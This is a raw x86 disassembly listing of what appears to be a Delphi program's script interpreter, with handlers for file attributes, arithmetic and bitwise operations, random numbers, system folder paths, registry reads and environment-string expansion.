mov eax, dword [ebp - 0x438]
mov edx, 0x5aefb4
call fcn.00405e6c
jne 0x5a8dde
xor eax, eax
push ebp
push 0x5a8dd7
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x22e8]
push eax
lea ecx, [ebp - 0x22ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22ec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x22e8]
lea edx, [ebp - 0x22e4]
call fcn.00593948
mov eax, dword [ebp - 0x22e4]
lea edx, [ebp - 0x3c0]
call fcn.0058feb0
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x22f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22f0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3c4]
call fcn.005af628
test al, al
jne 0x5a8a3a
lea edx, [ebp - 0x22f4]
mov eax, dword [ebp - 0x3c4]
call fcn.0040ab58
mov eax, dword [ebp - 0x22f4]
push eax
lea eax, [ebp - 0x22f8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x22f8]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x3c8]
push eax
lea ecx, [ebp - 0x22fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22fc]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3c8], 0
je 0x5a8ac0
mov eax, dword [ebp - 0x3c8]
call fcn.005af628
test al, al
jne 0x5a8ac0
lea edx, [ebp - 0x2300]
mov eax, dword [ebp - 0x3c8]
call fcn.0040ab58
mov eax, dword [ebp - 0x2300]
push eax
lea eax, [ebp - 0x2304]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2304]
xor edx, edx
pop eax
call fcn.0058ffac
mov byte [ebp - 0x65d], 0
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5aefd0
call fcn.00406020
dec eax
jne 0x5a8af6
lea eax, [ebp - 0x3c0]
mov ecx, 9
mov edx, 1
call fcn.00405f7c
mov byte [ebp - 0x65d], 1
lea edx, [ebp - 0x2308]
mov eax, dword [ebp - 8]
call fcn.0040ab90
mov eax, dword [ebp - 0x2308]
push eax
lea edx, [ebp - 0x230c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab90
mov edx, dword [ebp - 0x230c]
pop eax
call fcn.00405e6c
je 0x5a8c0b
xor eax, eax
push ebp
push 0x5a8b59
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403af8
lea eax, [ebp - 8]
call fcn.00405a44
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8b6b
xor eax, eax
push ebp
push 0x5a8bb5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d4ee8]
mov byte [eax], 0
mov edx, dword [ebp - 0x3c0]
lea eax, [ebp - 0x1d4]
call fcn.00403950
lea eax, [ebp - 0x1d4]
call fcn.004036d4
lea eax, [ebp - 8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405adc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8c0b
lea eax, [ebp - 0x1d4]
call fcn.00403c9c
test al, al
jne 0x5a8d1e
cmp byte [ebp - 0x65d], 0
je 0x5a8cd5
lea eax, [ebp - 0x3bc]
call fcn.00405a44
jmp 0x5a8c97
lea edx, [ebp - 0x3b4]
lea eax, [ebp - 0x1d4]
call fcn.00403f48
lea eax, [ebp - 0x1d4]
call fcn.00403fb4
lea eax, [ebp - 0x1d4]
call fcn.00403c9c
test al, al
je 0x5a8c76
lea eax, [ebp - 0x3bc]
mov edx, dword [ebp - 0x3b4]
call fcn.00405d10
jmp 0x5a8c97
push dword [ebp - 0x3bc]
push dword [ebp - 0x3b4]
push 0x5aefe4
lea eax, [ebp - 0x3bc]
mov edx, 3
call fcn.00405dd8
lea eax, [ebp - 0x1d4]
call fcn.00403c9c
test al, al
je 0x5a8c38
lea eax, [ebp - 0x2314]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2314]
mov edx, dword [ebp - 0x3bc]
mov eax, dword [ebp - 0x3c4]
call fcn.0058ffe4
jmp 0x5a8d1e
lea edx, [ebp - 0x3b4]
lea eax, [ebp - 0x1d4]
call fcn.00403f48
lea eax, [ebp - 0x1d4]
call fcn.00403fb4
lea eax, [ebp - 0x2318]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2318]
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3c4]
call fcn.0058ffe4
lea eax, [ebp - 0x1d4]
call fcn.00403c9c
test al, al
je 0x5a8d74
lea eax, [ebp - 0x3b4]
mov edx, 0x5ad7b4
call fcn.00405adc
lea eax, [ebp - 8]
call fcn.00405a44
xor eax, eax
push ebp
push 0x5a8d68
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403af8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8d84
lea eax, [ebp - 0x3b4]
mov edx, 0x5ad678
call fcn.00405adc
cmp dword [ebp - 0x3c8], 0
je 0x5a8dba
lea eax, [ebp - 0x231c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x231c]
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3c8]
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeff8
call fcn.00405e6c
jne 0x5a903f
xor eax, eax
push ebp
push 0x5a9038
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x2324]
push eax
lea ecx, [ebp - 0x2328]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2328]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2324]
lea edx, [ebp - 0x2320]
call fcn.00593948
mov eax, dword [ebp - 0x2320]
lea edx, [ebp - 0x3c0]
call fcn.0058feb0
lea eax, [ebp - 0x232c]
push eax
lea ecx, [ebp - 0x2330]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2330]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x232c]
lea edx, [ebp - 0x3c4]
call fcn.00593948
lea edx, [ebp - 0x2334]
mov eax, dword [ebp - 8]
call fcn.0040ab90
mov eax, dword [ebp - 0x2334]
push eax
lea edx, [ebp - 0x2338]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab90
mov edx, dword [ebp - 0x2338]
pop eax
call fcn.00405e6c
jne 0x5a8eff
xor eax, eax
push ebp
push 0x5a8ef5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403af8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8eff
mov dl, 1
mov eax, dword [0x41c6f4]
call fcn.00404ab4
mov dword [ebp - 0x614], eax
xor eax, eax
push ebp
push 0x5a8f3a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x614]
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8f4f
lea eax, [ebp - 0x2340]
push eax
lea ecx, [ebp - 0x2344]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2344]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2340]
lea edx, [ebp - 0x233c]
call fcn.00593948
mov eax, dword [ebp - 0x233c]
call fcn.00593654
test al, al
je 0x5a8fb6
mov ecx, dword [ebp - 0x3c4]
xor edx, edx
mov eax, dword [ebp - 0x614]
mov ebx, dword [eax]
call dword [ebx + 0x60]
jmp 0x5a8fc7
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x614]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x80
mov eax, dword [ebp - 0x3c0]
call fcn.00405ed4
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
push ebp
push 0x5a9006
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x614]
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9010
mov eax, dword [ebp - 0x614]
call fcn.00404ae4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5af014
call fcn.00405e6c
jne 0x5a95f3
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2348]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2348]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a90d2
lea edx, [ebp - 0x234c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x234c]
push eax
lea eax, [ebp - 0x2350]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2350]
xor edx, edx
pop eax
call fcn.0058ffac
xor eax, eax
push ebp
push 0x5a95a8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2354]
push eax
lea ecx, [ebp - 0x2358]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2358]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2354]
call fcn.0040b348
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], edx
cmp dword [ebp - 0x56c], 0
jne 0x5a9139
cmp dword [ebp - 0x570], 0xb
je 0x5a9195
lea eax, [ebp - 0x2360]
push eax
lea ecx, [ebp - 0x2364]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2364]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2360]
lea edx, [ebp - 0x235c]
call fcn.00593948
mov eax, dword [ebp - 0x235c]
call fcn.0040b348
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], edx
cmp dword [ebp - 0x56c], 0
jne 0x5a91a9
cmp dword [ebp - 0x570], 0xa
jb 0x5a91bd
jmp 0x5a91ab
jl 0x5a91bd
cmp dword [ebp - 0x56c], 0
jne 0x5a9217
cmp dword [ebp - 0x570], 0xd
jne 0x5a9217
lea eax, [ebp - 0x236c]
push eax
lea ecx, [ebp - 0x2370]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2370]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x236c]
lea edx, [ebp - 0x2368]
call fcn.00593948
mov eax, dword [ebp - 0x2368]
call fcn.0040b348
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], edx
mov eax, dword [ebp - 0x570]
cmp eax, 0xf
ja case.default.0x5a9226
jmp dword [eax*4 + 0x5a922d]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
add eax, dword [ebp - 0x568]
adc edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
sub eax, dword [ebp - 0x568]
sbb edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
push dword [ebp - 0x564]
push dword [ebp - 0x568]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406d4c
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
push dword [ebp - 0x564]
push dword [ebp - 0x568]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406d70
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
push dword [ebp - 0x564]
push dword [ebp - 0x568]
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406e50
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
and eax, dword [ebp - 0x568]
and edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
or eax, dword [ebp - 0x568]
or edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
xor eax, dword [ebp - 0x568]
xor edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x568]
mov ecx, eax
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406f1c
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x568]
mov ecx, eax
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
call fcn.00406f3c
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
not eax
not edx
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
lea eax, [ebp - 0x2378]
push eax
lea ecx, [ebp - 0x237c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x237c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2378]
lea edx, [ebp - 0x2374]
call fcn.00593948
mov eax, dword [ebp - 0x2374]
movzx eax, byte [eax]
movzx eax, al
xor edx, edx
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov edx, eax
lea eax, [ebp - 0x3c0]
call fcn.00405c2c
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov dword [0x5dbcac], eax
mov eax, dword [ebp - 0x568]
mov dword [0x5dbcb0], eax
mov eax, dword [ebp - 0x560]
mov edx, dword [ebp - 0x55c]
add eax, dword [ebp - 0x568]
adc edx, dword [ebp - 0x564]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [ebp - 0x560]
mov dword [0x5dbcb4], eax
mov eax, dword [0x5dbcb4]
cdq
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
jmp case.default.0x5a9226
mov eax, dword [0x5dbcac]
imul dword [0x5dbcb4]
add eax, dword [0x5dbcb0]
cdq
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
push 0
push 0x7fff
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406e50
mov dword [0x5dbcb4], eax
push dword [ebp - 0x55c]
push dword [ebp - 0x560]
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406e50
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
cmp dword [ebp - 0x56c], 0
jne 0x5a9585
cmp dword [ebp - 0x570], 0xc
je 0x5a959e
push dword [ebp - 0x574]
push dword [ebp - 0x578]
lea eax, [ebp - 0x3c0]
call fcn.0040b284
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a95bd
cmp dword [ebp - 0x3b0], 0
je 0x5a95f3
lea eax, [ebp - 0x2380]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2380]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
mov eax, dword [ebp - 0x438]
mov edx, 0x5af028
call fcn.00405e6c
jne 0x5a9f29
xor eax, eax
push ebp
push 0x5a9f22
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
call fcn.005923fc
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2384]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2384]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a969e
lea edx, [ebp - 0x2388]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x2388]
push eax
lea eax, [ebp - 0x238c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x238c]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x2390]
push eax
lea ecx, [ebp - 0x2394]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2394]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2390]
call fcn.00593654
mov byte [ebp - 0x57d], al
lea eax, [ebp - 0x2398]
push eax
lea ecx, [ebp - 0x239c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x239c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2398]
call fcn.0040b2d4
cmp eax, 0x1b
ja case.default.0x5a9727
jmp dword [eax*4 + 0x5a972e]
mov dword [ebp - 0x54c], 0x20
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x21
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a97d4
mov dword [ebp - 0x54c], 0x2e
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 5
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a97fb
mov dword [ebp - 0x54c], 0x1f
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 6
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a9822
mov dword [ebp - 0x54c], 0x35
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xd
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a9849
mov dword [ebp - 0x54c], 0x36
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x27
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a9870
mov dword [ebp - 0x54c], 0x37
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xe
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x13
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x1b
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.0058ac48
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.0058ab80
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a98e9
mov dword [ebp - 0x54c], 0x2f
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x30
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a9910
mov dword [ebp - 0x54c], 0x16
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xb
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a9937
mov dword [ebp - 0x54c], 0x18
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 7
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a995e
mov dword [ebp - 0x54c], 0x17
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 2
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a9985
mov dword [ebp - 0x54c], 0x23
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x1a
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x3b
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a99bb
mov dword [ebp - 0x54c], 0x19
jmp case.default.0x5a9727
xor eax, eax
mov dword [ebp - 0x54c], eax
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x14
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
je 0x5a99ef
mov dword [ebp - 0x54c], 0x3e
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x28
jmp case.default.0x5a9727
cmp byte [ebp - 0x57d], 0
jne 0x5a9a16
mov dword [ebp - 0x54c], 0x26
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x2b
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 8
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 9
jmp case.default.0x5a9727
lea eax, [ebp - 0x3c0]
call fcn.00405a44
call fcn.0058e298
test al, al
je 0x5a9a84
mov eax, dword [0x5dbca4]
mov edx, 0x5ad59c
call fcn.00405e6c
jne 0x5a9a84
lea eax, [ebp - 0x23a0]
call fcn.0058e0dc
mov eax, dword [ebp - 0x23a0]
lea edx, [ebp - 0x3c0]
call fcn.00589d4c
cmp dword [ebp - 0x3c0], 0
jne case.default.0x5a9727
mov dword [ebp - 0x54c], 0xffffffff
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x23a4]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x23a4]
lea edx, [ebp - 0x3c0]
call fcn.00589d4c
mov eax, esi
call fcn.00402fcc
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0x15
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xffffffff
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x23a8]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x23a8]
lea edx, [ebp - 0x3c0]
call fcn.00589d4c
mov eax, esi
call fcn.00402fcc
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.00405a44
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
xor ecx, ecx
mov edx, 0x5af044
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x5a9c03
xor eax, eax
push ebp
push 0x5a9bee
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5af090
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
cmp dword [ebp - 0x3c0], 0
je 0x5a9be4
lea edx, [ebp - 0x23ac]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
mov edx, dword [ebp - 0x23ac]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5af0a0
call fcn.00405d5c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9c03
mov eax, dword [ebp - 0x53c]
call fcn.00430940
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
jmp case.default.0x5a9727
mov dword [ebp - 0x54c], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.00405a44
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
xor ecx, ecx
mov edx, 0x5af0d4
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x5a9d1c
xor eax, eax
push ebp
push 0x5a9caa
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5af0f8
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9cbf
cmp dword [ebp - 0x3c0], 0
je 0x5a9d11
mov eax, 0x41000
call fcn.00402fb0
mov dword [ebp - 0x538], eax
push 0x41000
mov eax, dword [ebp - 0x538]
push eax
mov eax, dword [ebp - 0x3c0]
call fcn.00405ed4
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
lea eax, [ebp - 0x3c0]
mov edx, dword [ebp - 0x538]
call fcn.00405c3c
mov eax, dword [ebp - 0x538]
call fcn.00402fcc
mov eax, dword [ebp - 0x53c]
call fcn.00430940
cmp dword [ebp - 0x3c0], 0
jne 0x5a9e9b
xor ecx, ecx
mov edx, 0x5af10c
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x5a9e9b
xor eax, eax
push ebp
push 0x5a9d71
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5aecbc
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9d86
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5af158
call fcn.00410338
test eax, eax
je 0x5a9de3
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 0
je 0x5a9dc0
cmp dword [ebp - 0x3c0], 0
jne 0x5a9e90
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
cmp dword [ebp - 0x54c], 0xffffffff
je 0x5a9ec0
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x54c]
call fcn.0058ada0
lea edx, [ebp - 0x23b0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
mov eax, dword [ebp - 0x23b0]
push eax
lea eax, [ebp - 0x23b4]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x23b4]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
cmp byte [ebp - 0x585], 0
je 0x5a9f56
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x5a9f56
dec dword [ebp - 0x58c]
mov byte [ebp - 0x585], 0
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade04
call fcn.00405e6c
jne 0x5a9f74
mov byte [ebp - 0x584], 1
jmp 0x5acec8
cmp dword [ebp - 0x58c], 0
jle 0x5a9fd3
cmp byte [ebp - 0x58e], 0
jne 0x5a9fd3
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade14
call fcn.00405e6c
je 0x5a9faa
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade04
call fcn.00405e6c
jne 0x5a9fb6
mov byte [ebp - 0x584], 1
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x5a9fd3
dec dword [ebp - 0x58c]
jmp 0x5acec8
mov byte [ebp - 0x58e], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5af170
call fcn.00405e6c
jne 0x5aa1d1
lea eax, [ebp - 0x23b8]
push eax
lea ecx, [ebp - 0x23bc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23bc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
